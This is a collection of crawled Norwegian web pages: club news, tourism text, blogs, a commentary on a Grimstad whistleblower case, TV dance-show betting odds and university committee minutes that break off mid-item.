{"url": "https://www.mannhullet.no/page/26", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:22:31Z", "text": "# MANNHULLET\nN\u00e5 har Mannhullet f\u00e5tt seg en ny flott motorb\u00e5t\\! B\u00e5ten er en ny Jeanneau Marlin 755. B\u00e5ten skal bli d\u00f8pt Havfruen V under 100-\u00e5rsjubileet. Havfruen V er mindre, raskere og lettere \u00e5 man\u00f8vrere enn Havfruen IV. Nytt er ogs\u00e5 at det blir mulig \u00e5 drive med vannsport pga. \u00f8kt hastighet\\! B\u00e5ten er kj\u00f8pt av Marine Team.\n\nV\u00e5r f\u00f8rste trening for sesongen endte med et oppm\u00f8te p\u00e5 hele 33 ivrige fotballsjeler. Med en god blanding av gamle og nye spillere, lover dette godt for kampene som kommer. All \u00e6re til \u00e5rets faddere for innsatsen de la ned i rekrutteringsarbeidet\\!\n\n", "language": "no", "__index_level_0__": "a4b17978-da26-4767-8b92-89d6e82047c9"}
{"url": "http://docplayer.me/6037270-Generell-presentasjon-steder-a-soke-midler-av-per-einar-johannessen-fagkonsulent-idrett-for-funksjonshemmede-norges-idrettsforbund.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-25T00:22:54Z", "text": "\n\n30 TUBFRIM: Overskuddet til Tuberkulosearbeidets Frimerkeforretning (TUBFRIM) brukes til bekjempelse av tuberkulose (50 %) og til trivselsfremmende tiltak for funksjonshemmede barn og unge i Norge (50 %). TUBFRIM eies av Nasjonalforeningen for folkehelsen. Se - S\u00f8knadsskjema og rettledning 18. november Norges idrettsforbund\n", "language": "no", "__index_level_0__": "3fba69b0-b2fa-45cb-aaaf-dcaba2d40f15"}
{"url": "http://www.bookingservice.no/index.php?side=omrade&id=654", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-24T23:26:51Z", "text": "# Nord-Aurdal -\n\nI denne midtre av Valdres kommunene domineres dalbunnen av Strandefjorden og Aurdalsfjorden, med gode fiske- og vannsport muligheter. I Vestringsbygda, p\u00e5 vestsiden av Aurdalsfjorden, ligger en praktfull 9-hulls golfbane. Banen er av meget h\u00f8y standard, og ligger vakkert til ved fjorden. Valdres Golf har videre en 6-hulls \u00f8vingsbane, hvor det ikke er n\u00f8dvendig med gr\u00f8nt kort. Driving range og flott treningsomr\u00e5de er ogs\u00e5 tilgjengelig.  \nDe omliggende fjelltraktene byr p\u00e5 flott turterreng, og vi nevner steder som Danebu (Aurdals\u00e5sen) og Tisleidalen. Tisleiavassdraget er kjent for sitt gode sportsfiske. Ponnyridning p\u00e5 Bj\u00f8rgo. Hestesportssenter med ridehall, baneridning og turridning p\u00e5 Fodnes. For alpinisten finnes det muligheter i Brattst\u00f8lheisen (Tisleidalen) og ikke minst i Valdres Alpinsenter i Aurdal (flombelyst). Fra toppen av heisen har man et utmerket l\u00f8ypenett innover flotte fjelltrakter. Fra februar kan man f\u00f8lge merket/preparert l\u00f8ype til Beitost\u00f8len, en tur p\u00e5 70 km. Overnattingsmuligheter underveis. Leira byr p\u00e5 spennende elvevandring, har tennisbaner, vannaktiviteter og badeliv. Her finner man Valdres' st\u00f8rste badestrand og bryggeanlegg. Leira har ogs\u00e5 et av av bergflaggene som er s\u00e5 spesielle for Valdres. Det er 5 i alt.  \nFagernes har et stort utvalg av kaf\u00e8er, kafeteriaer, restauranter, puber samt kj\u00f8pesentra og forretninger som tilfredsstiller de flestes behov. Her ligger ogs\u00e5 landets fjerde st\u00f8rste friluftsmuseum, Valdres Folkemuseum, med 87 hus og anlegg. Her finnes en unik bunadutstilling, om sommeren er det aktiviteter. Det er et bra utvalg av turstier i omr\u00e5det rundt Fagernes. Vardevandring er dessuten et popul\u00e6rt turtilbud, og to av Valdres\\` 6 varder ligger i Nord-Aurdal.  \n  \nFagernes Lufthavn, Leirin, ligger 9 km \u00f8st for Fagernes. Ved \u00e5 kj\u00f8re videre fra Leirin kommer man inn i Skrautv\u00e5ls-fjellet, og p\u00e5 Dalen seter finner man Kyrkjesletta, kirketuft fra Olav den Helliges tid. Nord-Aurdal har mange kirker, og b1ant de mest interessante er Ulnes, en av Valdres\\` to steinkirker, som feiret sitt 750 \u00e5rs jubileum i 1995.  \n  \nI Skrautv\u00e5l, 7 km ovenfor Fagernes, ligger Valdres Skisenter, med sitt flotte tilbud av l\u00f8yper (ogs\u00e5 lysl\u00f8ype).  \n\n", "language": "no", "__index_level_0__": "47b409bb-79e3-41f2-bde6-1b9f6e40a4a7"}
{"url": "https://www.thermo-floor.no/?article_id=112", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00143.warc.gz", "warc_date": "2018-03-24T23:06:25Z", "text": "\n\n# FREMTIDEN ER ELEKTRISK\n\nPublisert: 20.01.2017 kl. 14:11 av Per H\u013akon Granum\n\nAlle har et ansvar for hverandre og for samfunnet vi er en del av, b\u00e5de som bedrift og som enkeltmenneske. Vi er klar over v\u00e5r egen rolle som del av en st\u00f8rre helhet der ogs\u00e5 vi skal gi v\u00e5rt bidrag og ta v\u00e5rt ansvar.\n\nElektriske varmesystemer er i dag den mest effektive og sk\u00e5nsomme m\u00e5ten for milj\u00f8et \u00e5 utnytte energi p\u00e5, derfor er dette v\u00e5rt satsningsomr\u00e5de ogs\u00e5 i fremtiden. Tr\u00e5dl\u00f8se styringssystemer i smarte hjem, hvor termostater og elektriske komponenter selv regulerer og effektiviserer behovet for varme og lys, vil i lang tid v\u00e6re den beste og rimeligste metoden for v\u00e5re hjem. Det betyr ikke at vi skal st\u00e5 stille, vi skal alltid etterstrebe \u00e5 effektivisere for \u00e5 f\u00e5 enda mer ut av lite. Dette er fremtiden, og derfor sier vi at den er elektrisk.\n\n", "language": "no", "__index_level_0__": "19d4eeed-f10f-4e62-99ff-755b702daa2a"}
{"url": "http://docplayer.me/1103855-Hva-kan-kollektivsektoren.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00243.warc.gz", "warc_date": "2018-03-25T00:29:30Z", "text": "\n\n10 Rik, men fattet\n\n\n\n11 Visjon Forretningsid\u00e8 Personal-id\u00e8\n\n\n\n12 Visjonen: \u00c5 skape en bedre hverdag for de mange menneskene. Forretningsid\u00e8en: \u00c5 gi vanlige, \u00e6rlige mennesker anledning til \u00e5 utvikle seg b\u00e5de som individer og i sine yrkes- roller, slik at vi sammen og med stort engasjement kan skape en bd bedre hverdag for oss selv og kundene v\u00e5re. \u00c5 tilby et stort utvalg form- og funksjonsriktige hjeminnrednings- artikler til s\u00e5 lave priser at s\u00e5 mange mennesker som mulig f\u00e5r r\u00e5d til \u00e5 kj\u00f8pe dem. Personal-id\u00e8en:\n\n", "language": "no", "__index_level_0__": "c324ec8c-7378-4727-a969-738a79f324ae"}
{"url": "http://peaceandlove.no/2014/08/02/another-selfie/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:08:06Z", "text": "# Peace and love\n\n\n\n# Another \u00abselfie\u00bb\n\n\n\nMens sommeren forsatt byr p\u00e5 lys og \u00e5lreit temperatur s\u00e5 tenkte jeg \u00e5 utnytte det til litt fotografering, men ulempen med \u00e5 v\u00e6re alene er at man m\u00e5 v\u00e6re modell, sjekke lyset, ta bildet, og s\u00e5 videre. Og dette skapte et lite problem..man sjekker jo lysforholdene for at det ikke skal bli for lyst eller m\u00f8rkt. Men jeg kunne jo ikke st\u00e5 foran og bak kameraet samtidig s\u00e5 ble litt p\u00e5 feelingen og de fleste bildene ble litt for lyse. Men p\u00e5 den lyse siden (pling\\! Okei..litt d\u00e5rlig ordspill..) s\u00e5 l\u00e6rer man jo av sine feil, s\u00e5 neste gang kommer jeg nok til \u00e5 trippeltsjekke trippeltsjekkingen. Noen bilder ble jo reddet, men ble jo ikke like flott som den andre bildeserien jeg tok denne dagen (forrige innlegg).\n\n\u00a0\nDette innlegget ble skrevet i Fotografering og merket \\#fail \\#fotografering \\#utend\u00f8rs \\#overeksponering, 2. august 2014 av Ingrid Strand.\n\n", "language": "no", "__index_level_0__": "a6b9efdd-5860-4ea2-9472-894a024cb517"}
{"url": "https://liernett.no/2837-liers-forhistorie-paa-data", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:24:38Z", "text": "# Liers forhistorie p\u00e5 data.\n\n## N\u00e5 er det sterkt foreldete verket\"Liers historie\" i seks bind ute p\u00e5 nettet. Kommunen \u00e5pner ogs\u00e5 sine sider for historieskrivere av forskjellige slag. Det kan bli en illeluktende lapskaus om ikke kriteriene er klare for hva som skal komme med\n\nTorsdag 18. desember 2003\n\nThorvald Lerberg (tekst og foto)\n\n  \nfotothv.l Ny dag over Lier\n\nDet er selvf\u00f8lgelig bra om en slik utgivelse kan skape mer blest om Liers historie som sant \u00e5 si st\u00e5r i glemmeboka til flere og flere. Likevel er jeg redd en nettutgave vil gj\u00f8re like mye for historieinteressen i bygda som det Bibelen gjorde for kristendommen da den kom p\u00e5 nettet. Men en sak er \u00e5 finne et nytt medium, noe annet er \u00e5 fornye historien innholdsmessig og gj\u00f8re den mer tilgjengelig for dagens liunger.\n\n  \nfoto:thv.l Mye k\u00e5l i Lier\n\nDe seks bindene av Liers historie der Steffen Gausmel er hovedredakt\u00f8r, er solide verk, mye er leseverdig og b\u00f8kene har brukbar kildehenvisninger. Men mye er traurig g\u00e5rdshistorie, hele verket skriker p\u00e5 redigering, og mange begivenheter b\u00f8r sees i lys av mangel p\u00e5 ny historisk viten. Det er bondebygda Lier som beskrives. Ikke rart forresten, ettersom historien strekker seg s\u00e5 vidt til 1914. Verket under ett burde i dag kalles Liers forhistorie.\n\n  \nfoto:thv.l Fortstt en del jorder og skog i Lier\n\nSiden den gang har det oppst\u00e5tt et historisk vakum. Men b\u00f8kene har langt p\u00e5 vei tjent som en mal for glade amat\u00f8rer, skribenter av varierende kvalitet som ut fra ulike motiver har \u00f8nsket \u00e5 dele sine interesser for bygda med andre. En del har ikke v\u00e6rt disiplinerte nok i forhold til kildekritikk og metode, og det som er kommet p\u00e5 trykk har ofte v\u00e6rt sterkt preget av skriverens egne meninger og s\u00e6rinteresser. Denne litteraturen er ofte uvitenskapelig lever sitt eget liv p\u00e5 sine egne premisser, og kan ikke v\u00e6re annet enn kildemateriale til det som skal v\u00e6re historien om Lier. Det betyr ikke at litteraturen er d\u00e5rlig. Og jeg skynder meg \u00e5 si at jeg har hyllemeter av den i n\u00e5avstand fra skrivebordet, og \"\u00d8verst i Lier \"av John W. Jacobsen, er p\u00e5 toppen av mest leste her i g\u00e5rden. Det er viktig at kommunen setter faglige krav til stoffet som skal inn p\u00e5 en slik nettside. Kildekritikk er viktig, kildehenvisninger m\u00e5 alltid v\u00e6re med og ikke minst m\u00e5 alt ikles en spr\u00e5kdrakt som fenger.\n\n  \nfoto:thv.l Vakre Lier\n\nLier formannskap garanterte i sin tid for utgivelsen av Liers historie. Det er p\u00e5 h\u00f8y tid at den redigeres, oppgraderes og ajourf\u00f8res. Kommunen b\u00f8r ogs\u00e5 denne gangen st\u00e5 som garantist, og Kulturkontoret b\u00f8r se det som en utfordring \u00e5 v\u00e6re koordinator i et slikt arbeid Dessuten b\u00f8r det s\u00f8kes eksternhjelp i milj\u00f8er med fagfolk som vet hvilke kriterier som m\u00e5 oppfylles for at et historieverk skal bli seri\u00f8st. Historielaget er ressursbase for alt loklhistorisk arbeid, og jeg tror arbeidet med bygdehistoria vil bringe mer vitalitet og nytenkning inn i laget. Lier kommune har v\u00e6rt gjennom store og skjellsettende forandringer. En nyutgivelse av Lierhistorien b\u00f8r analysere - og gi en forklaring p\u00e5 det som har skjedd. Dermed kan folk bli mer bevisste i sitt forhold til bygda, og ogs\u00e5 i forhold til de valg som m\u00e5 tas i framtida. \"Mediet er budskapet\", sa medieforskeren og filosofen Marshall McLuhan p\u00e5 70 tallet, legger vi til: \"alt blir pent data\", kan det v\u00e6re fristende \u00e5 produsere gammelt nytt. Men n\u00e5r det gjelder lokalhistorie i Lier, er det viktigere \u00e5 bruke ressurser p\u00e5 m\u00e5lretta nyskapning enn \u00e5 flytte rundt p\u00e5 det som fins i hyllenen. Da kan det lett bli: \"Same shit \u2013 new Wrapping\"\n\n", "language": "no", "__index_level_0__": "ee304fca-4850-46b7-9c60-78e5966b84f4"}
{"url": "https://kommunal-rapport.no/meninger/kommentar/2018/03/gar-varsleren-til-retten", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:23:33Z", "text": "I desember i fjor ble Ragnar Holvik overrakt prisen \u00c5rets modigste av sjefredakt\u00f8r Britt Sofie Hestvik i Kommunal Rapport, etter en avstemning blant avisas lesere. Senere ble han k\u00e5ret til \u00c5rets navn av Agderpostens lesere og \u00c5rets FO-er av fagforbundet FO i Aust-Agder. Foto: Jan Inge Krossli\n\nKommentar. Unders\u00f8kelsene av helsekj\u00f8psaken i Grimstad g\u00e5r mot slutten, men sp\u00f8rsm\u00e5let om varsleren ble utsatt for gjengjeldelse, kan f\u00e5 en fortsettelse.\n\n7.3 2018 13:33\n\n\n\n#### Ragnhild Sved\n\ndebattredakt\u00f8r i Kommunal Rapport\n\nDersom Holvik velger \u00e5 ta saken til retten, er det neppe p\u00e5 grunn av pengene.\n\nInnkj\u00f8pssaken, der BDOs granskingsrapport avdekket kj\u00f8p av helsetjenester uten anbudskonkurranse for ca. 100 millioner kroner, har lenge ridd Grimstad kommune som en mare. Ved hver korsvei i unders\u00f8kelsene av saken, har det v\u00e6rt strid \u2013 mellom de som ville avslutte dem og se framover, og de som ville til bunns i hvordan dette kunne skje.\n\nMange har \u00f8nsket \u00e5 finne ut hvordan et firma med forbindelser til ansatte i kommunen kunne f\u00e5 kontrakter uten konkurranse, hvilket rapporten fra granskerne i BDO ikke kunne gi svar p\u00e5. Dermed har mistanken om inhabilitet og korrupsjon kunnet henge ved saken.\n\nDet siste fors\u00f8ket p\u00e5 \u00e5 finne ut av dette, falt i fisk med granskingen av e-postene til to ansatte. Denne granskingen ga ingen nye opplysninger som kunne kast lys over de f\u00f8rste kontraktsinng\u00e5elsene. Annet er kanskje ikke \u00e5 vente, all den tid granskerne ikke hadde tilgang til e-poster fra den tiden avtalene ble inng\u00e5tt. E-postene som ble gjennomg\u00e5tt, ble skrevet flere \u00e5r senere.\n\nStrid har det ogs\u00e5 blitt om behandlingen av han som varslet om de ulovlige anskaffelsene, spesialr\u00e5dgiver Ragnar Holvik. For varslingen er han blitt hedret med hele tre priser. Men saken har likevel ikke f\u00e5tt en god utgang for ham. Holvik var sykmeldt i en lang periode etter varslingen, og da han kom tilbake p\u00e5 jobb etter nytt\u00e5r, var det ikke p\u00e5 r\u00e5dhuset, men i et annet kommunalt lokale, etter eget \u00f8nske.\n\nHolvik mente seg utsatt for gjengjeldelse og fremmet krav om erstatning og dekning av sine advokatutgifter. Hans advokat Birthe Eriksen har begrunnet og utdypet kravet i en rekke brev til Geir Winters i KS Advokatene, som gransket p\u00e5standene p\u00e5 oppdrag fra kommunen. Holvik har ogs\u00e5 selv beskrevet sine opplevelser i et langt notat som mange har f\u00e5tt tilgang til, deriblant Winters.\n\nAdvokaten, og setter\u00e5dmannen i saken \u2013 Tron Bamrud \u2013 konkluderte med at gjengjeldelse ikke hadde funnet sted og innstilte p\u00e5 ingen erstatning.\n\nPolitiker har st\u00e5tt mot politiker i dette sp\u00f8rsm\u00e5let, og skillelinjene har \u2013 slik det ofte er i slike saker \u2013 til dels g\u00e5tt mellom posisjon og opposisjon, med klarest st\u00f8tte til varsleren i opposisjonen. I l\u00f8pet av behandlingen har forslaget til utgiftsdekning g\u00e5tt fra 50.000 til 70.000 kroner til null.\n\nSiste slag sto i kommunestyret 26. februar, da vedtaket etter en lang og engasjert debatt ble \u00e5 tilby Holvik full dekning av advokatutgiftene han har hatt, nesten 160.000 kroner, men p\u00e5 den betingelse at han frasa seg retten til \u00e5 g\u00e5 til s\u00f8ksm\u00e5l mot kommunen for ulovlig gjengjeldelse \u2013 et tilbud Holvik n\u00e5 har\u00a0takket nei til.\n\nHolviks st\u00f8ttespillere appellerte til moral og medmenneskelighet. De argumenterte med at signalet til potensielle nye varslere ville v\u00e6re sv\u00e6rt negativt om Holvik ikke i det minste fikk dekket sine utgifter, og viste til at andre hadde f\u00e5tt utgiftsdekning uten betingelser. Ikke minst viste de til stemningen i opinionen, der Holvik har f\u00e5tt mye st\u00f8tte. Dette har kommet til uttrykk i meldinger til Holvik selv og gjennom en rekke leserinnlegg i lokalavisene.\n\nP\u00e5 den andre siden gikk KrFs unge leder Erlend Gunstveit s\u00e5 langt som til \u00e5 si at utgiftsdekning til Holvik uten motkrav ville v\u00e6re \u00e5 bel\u00f8nne varsleren. Han advarte mot at dette kunne skape presedens p\u00e5 den m\u00e5ten at hvem som helst da kunne g\u00e5 til sak og f\u00e5 sine utgifter til advokat dekket.\n\nOrdf\u00f8rer Kjetil Glimsdal (KrF) ga klart uttrykk for hvor hans sympati ligger; hos r\u00e5dmannen og de andre ansatte det er varslet mot.\n\nRagnar Holvik har hele tiden sagt at det for ham er uaktuelt \u00e5 ta imot penger med motkrav, og dette var derfor godt kjent da kommunestyret tilkjente ham dekning av advokatutgiftene.\n\nFlertallet som \u00f8nsket utgiftsdekning med motkrav tviholdt p\u00e5 sitt standpunkt, til tross for at de hadde stor tiltro til setter\u00e5dmannens konklusjon om at Holvik ikke var blitt utsatt for gjengjeldelse. En eventuell rettssak skulle dermed inneb\u00e6re liten risiko for tap, sett fra deres st\u00e5sted.\n\nDet \u00e5pne sp\u00f8rsm\u00e5let n\u00e5\u00a0er om Holvik faktisk vil g\u00e5 til sak, eller om det er prinsippene har v\u00e6rt viktigst for ham; at han ikke ville bli *fratatt* muligheten til \u00e5 f\u00e5 pr\u00f8vd sin sak rettslig. Selv holder han kortene tett til brystet og vil ikke svare p\u00e5 hva han vil gj\u00f8re n\u00e5.\n\nHvilke sjanser han har til \u00e5 n\u00e5 fram i en eventuell rettssak, er h\u00f8yst usikkert. Gjengjeldelser kan v\u00e6re vanskelig \u00e5 bevise hvis de er av subtil karakter, og dersom konkrete handlinger som for eksempel en d\u00e5rlig begrunnet endringsoppsigelse, ikke kan dokumenteres. Holviks opplevelser g\u00e5r p\u00e5 utfrysing, mangel p\u00e5 st\u00f8tte og omsorg fra ledelsen, bortfall av oppgaver og brudd p\u00e5 konfidensialiteten.\n\nEn rettssak vil v\u00e6re belastende og tidkrevende for begge parter. Nye dommer i andre gjengjeldelsessaker tilsier dessuten at det ikke er store oppreisningssummer \u00e5 hente. Kristiansand tingrett tilkjente nylig to varslere i S\u00f8gne 45.000 kroner hver, men de m\u00e5 selv betale sine saksomkostninger. Av bel\u00f8pet er 30.000 kroner oppreisning, resten er erstatning for henholdsvis ugyldig oppsigelse og brudd p\u00e5 personopplysningsloven.\n\nEn brannmester i Hedmark ble nylig i S\u00f8r-\u00d8sterdal tingrett tilkjent 60.000 kroner i oppreisning etter ulovlig gjengjeldelse og 139.000 kroner i erstatning for tap av l\u00f8nn i en dom som enn\u00e5 ikke er rettskraftig.\n\nDersom Holvik velger \u00e5 ta saken til retten, er det neppe p\u00e5 grunn av pengene, men for \u00e5 f\u00e5 den oppreisningen det vil v\u00e6re om han f\u00e5r medhold i at han faktisk er blitt utsatt for gjengjeldelse.\n\n", "language": "no", "__index_level_0__": "12a25c0d-3319-4f20-bb79-42d325b3a37f"}
{"url": "http://metaingrid.blogspot.com/2012/04/bokryggpoesi-2.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00791.warc.gz", "warc_date": "2018-03-24T23:46:21Z", "text": "#### 9 kommentarer:\n\n\n\n\n\nMaren sa...\n\nS\u00e5 utrolig kult\\! Jeg h\u00e5per du skal lage mange flere\\! (:\n\n 20. april 2012 kl. 08:58    \n\n 20. april 2012 kl. 09:22    \n\n\n\n\n\nMari sa...\n\nDet var veldig fint\\! Jeg har slengt meg med deg i dag. Her er mitt bidrag.\n\n 20. april 2012 kl. 10:15    \n\n\n\n\n\nBeathesbokhylle sa...\nveldig kult\\! Slang meg liks\u00e5godt med jeg og her er mitt bidrag:http://beathesbokhylle.blogspot.com/2012/04/bokryggpoesi-1.html  \n  \nHa en fin dag:-)\n\n 20. april 2012 kl. 11:50    \n\n\n\n\n\nBokryggsFredag :) Denne var morsom\\! H\u00e5per mange henger seg p\u00e5, for denne stimulerte virkelig mine sm\u00e5 gr\u00e5. Ha en flotters helg\\! Ser frem til flere slike\\! :)\n\n 20. april 2012 kl. 14:21    \n\n\n\n\n\nGod helg til dere ogs\u00e5\\!\n\n 20. april 2012 kl. 14:44    \n\n\n\n\nDette likte jeg\\! H\u00e5per du kan lage en linkefunksjon ...  \n\u00d8nsker deg en glitrende glad helg\\!\\!  \nPia\n\n 20. april 2012 kl. 15:20    \n\n\n\n\n\nGroskro sa...\n\nDenne ideen var s\u00e5 god at den hengte jeg meg p\u00e5 :-) God helg\\!\n\n 20. april 2012 kl. 16:32    \n\n## Velkommen\n\nHer finner du anbefalinger av b\u00f8ker du ikke visste at du ville lese, b\u00f8ker du kanskje ikke har h\u00f8rt om, b\u00f8ker du har tenkt at du burde ha lest. Sm\u00e5 forlag, store forlag, smale tegneserier, og kanskje en bok om isbj\u00f8rner, eller diktatorer. F\u00f8lg med\\!  \n\n    \n\n", "language": "no", "__index_level_0__": "9d115aef-2b22-4e71-be2d-3bfead59598c"}
{"url": "http://www.oddsnet.com/news/read/c/270", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00791.warc.gz", "warc_date": "2018-03-24T23:34:57Z", "text": "*Skrevet av: BT Karlsen 15.09.2009 13:38* \n\nJan Thomas og Charter-Svein styrker oddsen hos Unibet, Elin Tvedt er den store favoritten mens Anita Valen De Vries er den heteste kandidaten til \u00e5 forlate dansegulvet f\u00f8rst.\n\nL\u00f8rdag starter Skal vi Danse p\u00e5 TV2. En sikker vinner, b\u00e5de TV-messig og blant nordmenn med forkj\u00e6rlighet for oddsspill p\u00e5 underholdningsprogrammer. Hetest p\u00e5 Unibets danseodds akkurat n\u00e5 er Jan Thomas og Charter-Svein. Sistnevnte gir hele 15 ganger innsatsen tilbake dersom han skulle vinne hele konkurransen.  \n  \n\\-Duoen har f\u00e5tt desidert flest spill som vinnere av konkurransen, og vi har m\u00e5ttet nedjustere oddsen p\u00e5 begge den siste uken, forteller pressetalsmann Kjell Hanssen i Unibet.  \n  \nDen store favoritten hos bookmakerne er imidlertid Elin Tvedt. TV-sjarm, god fysikk og utstr\u00e5ling kan gj\u00f8re henne til \u00e5rets store kjendis-vinner. Heteste utfordrere er herrene Jan Thomas og Halvard Flatland; begge med h\u00f8y kjendisfaktor og bred appell.  \n  \n\\-De plasserte forh\u00e5ndsveddem\u00e5lene og v\u00e5re faglige vurderinger av de ulike dansernes potensial, viser at Anita Valen De Vries og Ole Klemetsen lever farligst i de f\u00f8rste sendingene. Ole Lukke\u00f8ye drev ikke akkurat stemmesanking hos kvinnene med sitt medieutspill om kvineboksing i forrige uke, og slikt kan gi utslag n\u00e5r TV-seerne skal sende dansere av parketten. Anita Valen De Vries skal forsvare syklistenes \u00e6re i programmet, men har neppe samme appell som Dag Otto Lauritzen hadde for to sesonger siden, sier Hanssen. Han karakteriserer \u00e5rets startfelt som helt \u00e5pent.  \n  \n\\-Tidligere utgaver har vist at det ikke n\u00f8dvendigvis er forh\u00e5ndsfavorittene som er med lengst. Akkurat som i Idol handler det ikke bare om \u00e5 v\u00e6re god n\u00e5r serien begynner, men ogs\u00e5 om \u00e5 ha et stort utviklingspotensial. Akkurat p\u00e5 sistnevnte omr\u00e5de tror vi Elin Tvedt vil danse seg inn i stadig flere nordmenns hjerter ut over h\u00f8sten, sier Hanssen.  \n  \n***Odds, hvem stemmes ut f\u00f8rst:****  \nAnita Valen\u00a04  \nOle Klemetsen\u00a04,5  \nMargrethe R\u00f8ed 5  \nEllen Arnstad\u00a06  \nSvein \u00d8stvik\u00a07,5  \nCarsten Skjelbred\u00a012,5  \nJan Thomas\u00a012,5  \nTriana Inglesias\u00a012,5  \nElin Tvedt\u00a012,5  \nMia Gundersen\u00a012,5  \nHallvard Flatland\u00a015  \n  \n* ***Vinnerodds, Skal vi Danse 2009****  \nElin Tvedt 4,50  \nHallvard Flatland 5,00  \nJan Thomas 5,50  \nMia Gundersen 6,00  \nTriana Iglesias 7,50  \nCarsten Skjelbreid 9,00  \nEllen Arnstad 10,00  \nMargrethe R\u00f8ed 15,00  \nAnita Valen De Vries 18,00*  \n\n", "language": "no", "__index_level_0__": "d1ded7a6-550d-4a54-a5c0-13b13cc324eb"}
{"url": "https://sostotigog.wordpress.com/2010/02/23/assen-man-ser-filmer-med-sean-connery/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:43:41Z", "text": "# Stigs blogg\n\n## blant annet spr\u00e5k og musikk er g\u00f8y\n\n## \u00c5ssen man ser filmer med Sean\u00a0Connery\n\n23\\. februar, 201011. oktober, 2012 Publisert i Stig\n\n1\\. Finn en film med Sean Connery. Det er mulig \u00e5 h\u00f8re med venner om de har slike filmer og om man kan l\u00e5ne dem. Jeg har n\u00e5 l\u00e5nt filmen \u00abHighlander\u00bb av Mikkel, og den inneholder b\u00e5de Sean Connery, andre skotter og musikk av Queen, s\u00e5 den virker egentlig ganske lovende.\n\n2\\. Finn et egna redskap for \u00e5 spille av filmen. Har du en DVD passer det med en DVD-spiller, spillkonsoll eller datamaskin. Har du en VHS funker det ikke like godt. Har du ei sjokoladeplate er det sannsynligvis ikke en film, og noen har lurt deg.\n\n3\\. Spill av filmen.\n\n4\\. Spol tilbake filmen. Det er s\u00e6rs viktig hvis du bruker DVD. Platene blir \u00f8delagte om de ikke spoles tilbake umiddelbart etter avspilling.\n\n5\\. Kvitt deg med filmen. Hvis den er l\u00e5nt, er det en god ide \u00e5 levere den tilbake. Hvis det er din egen b\u00f8r du l\u00e5ne den bort. Hvis du fant den p\u00e5 gata m\u00e5 den sendes i posten til Sean Connery.\n\nJeg h\u00e5per dette var til god hjelp for dere\\!\n\n## Publisert av Stig Johan\n", "language": "no", "__index_level_0__": "24fd9021-5b33-48dd-a51a-a7a7a4518764"}
{"url": "http://docplayer.me/44865025-Vedtakssaker-1-15-15-godkjenning-av-moteprotokoll-og-saksliste-lmu-2-2-15-15-laeringsmiljoutvalget-og-valg-av-ny-leder-3.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-25T00:22:39Z", "text": "4 l\u00e6ringsmilj\u00f8et. Styret vedtar videre at biblioteket og It-avdelingen skal v\u00e6re representert i LMU i tillegg til Studieadministrasjonen og Administrativ og teknisk driftsavdeling.\u00bb Universell Universell er \u00abnasjonal p\u00e5driver for universell utforming, inkluderende l\u00e6ringsmilj\u00f8 og utdanningsinstitusjonenes l\u00e6ringsmilj\u00f8utvalg (LMU) i h\u00f8yere utdanning\u00bb (universell.no) Universell har lagt en H\u00e5ndbok for studentenes arbeid i L\u00e6ringsmilj\u00f8utvalget (LMU) ved universiteter og h\u00f8gskoler. Nye medlemmer kan med fordel lese h\u00e5ndboken som man finner via Universells nettsider. (http://www.universell.no/fileshare/fileupload/788/lmuh%c3%a5ndbok%20web.pdf) Valg av leder I 2014 var det de ansattes ved institusjonen som skulle ha ledervervet og Sissel Hafstad, leder for seksjonen for biblioteket, tok p\u00e5 seg dette ansvar. I dette m\u00f8te velges en studentrepresentant til \u00e5 lede LMU i\n5 3/15 Driftsbudsjett for LMU i 2015 Arkivsak-dok. 14/ L\u00e6ringsmilj\u00f8utvalget /15 Vedtak utarbeides i m\u00f8te. H\u00f8sten 2014 s\u00f8kte LMU om driftsmidler. \u00d8vrige programutvalgene blir \u00e5rlig tildelt et driftsbudsjett p\u00e5 kr. I s\u00f8knaden om driftsmidler til Styret ble f\u00f8lgende behovsomr\u00e5der nevnt: - St\u00f8tte til studentarrangement som for eksempel alkoholfrie aktiviteter i fadderuken. - Reisekostnader ved deltakelse av LMU og Universell forum - Andre utgifter Styret har innvilget LMU en driftsbudsjett p\u00e5 kr for Det budsjetteres for 2015 for hvor mye som skal brukes til hva, men kan justeres etter hvert som LMU ser hvor pengene kommer til best nytte. For \u00e5 ha et utgangspunkt \u00e5 arbeide fra f\u00f8lger et forslag til budsjettplan: St\u00f8tte til studentarrangement: Seminar inklusive reisekostnader: Tiltak for \u00e5 forbedre l\u00e6ringsmilj\u00f8et: Trykking og andre administrative utgifter: M\u00f8tebevertning: kr kr kr kr kr LMU b\u00f8r bestemme hvor ansvaret skal ligge om en s\u00f8knad om midler kommer til LMU. Om nestf\u00f8lgende m\u00f8te er for langt vekk i tid, skal s\u00f8knader sendes p\u00e5 sirkulasjon til alle medlemmer da? 5\n\n6 4/15 Redusere driftstiden i byggene frem til eksamenslesingen tar til Arkivsak-dok. 15/ 